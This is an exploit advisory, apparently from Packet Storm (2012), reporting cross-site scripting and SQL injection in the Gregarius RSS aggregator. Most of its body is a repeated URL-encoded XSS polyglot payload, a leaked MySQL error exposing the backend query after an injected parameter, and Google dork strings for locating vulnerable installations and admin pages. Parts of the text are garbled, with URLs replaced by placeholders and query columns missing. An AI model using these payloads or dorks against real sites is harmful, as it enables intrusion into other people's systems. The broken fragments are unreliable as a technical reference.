Gregarius 0.x.x Cross Site Scripting / SQL Injection

Type packetstorm
Reporter Sony
Modified 2012-01-09T00:00:00


                                            `# Exploit Title: Gregarius 0.x.x SQL Injection/Cross Site Scripting  
# Date: 7.01.2012  
# Author: Sony  
# Software Link:  
# Web Browser : Mozilla Firefox  
# Blog :  
# PoC:  
Well, when i was looking for xss on the i found sql.  
We can see : (i want to say that i know little about sql-inj and i don't  
can put "full sql" here, sorry)[it'shere]&media=rss&;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E&media=rss&  
Failed to execute the SQL query  
select i.title, c.title,, i.unread, i.url, i.enclosure,,  
i.description, c.icon, unix_timestamp(ifnull(i.pubdate,i.added)) as ts,  
i.pubdate is not null as ispubdate, , null from news_item i inner  
join news_channels c on ( = i.cid) inner join news_folders f on ( = c.parent) where not(i.unread & 8) and not(i.unread & 4) and i.cid  
= 25 and 1=1 order by ts desc, f.position asc, c.position asc , ts desc, asc limit 18.88383, 10  
Error 1064: You have an error in your SQL syntax; check the manual that  
corresponds to your MySQL server version for the right syntax to use near  
'18.88383, 10' at line 1  
It's version Gregarius 0.6.1.  
We well see in Google Dorks:  
intext:page=1&media=rss&. or intext?page=1&media=atom& or etc..  
And we can see some web sites, which use gregarius.[it'shere]&media=rss&.[it's here]&media=rss& (oh, i will write  
later for admin about it)  
And we can see 0.5.5 version:  
Well, but i wanted a find xss in the gregarius and i found it. But only in  
another version and with sql too.[it'shere  
xss with sql];alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E  
Version :Gregarius 0.5.0, Gregarius 0.5.2,Gregarius 0.4.2..  
You can see in the Google Dorks:  
intitle:Gregarius » Feeds Admin  
And here we can see again sql.  
Error 1064: You have an error in your SQL syntax..